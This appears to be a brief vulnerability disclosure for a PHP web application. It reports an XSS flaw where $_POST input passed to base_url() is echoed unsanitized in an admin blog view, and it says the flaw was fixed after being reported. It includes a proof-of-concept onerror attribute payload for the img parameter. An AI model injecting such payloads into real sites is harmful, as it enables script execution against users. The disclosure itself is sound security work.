The vulnerabilities occur at base\_url() function. We notice the user inputs (e.g., $\_POST) are used as the parameter of base\_url() function in many places (e.g., the 45th line in /application/modules/admin/views/blog/blogpublish.php), the program echo the return value of this function directly without proper sanitization. This would lead to XSS vulnerabilities.

Example:  
We exploit the echo function in /application/modules/admin/views/blog/blogpublish.php#45 line.  
The attacker can set $\_POST\['img'\] to 'q" onerror="javascript:alert(1)'. Then the img tag becomes  
Then he successfully performs a XSS attack.  

The vulnerability has been fixed in 56465f after we reported it to developers.

Tag

#java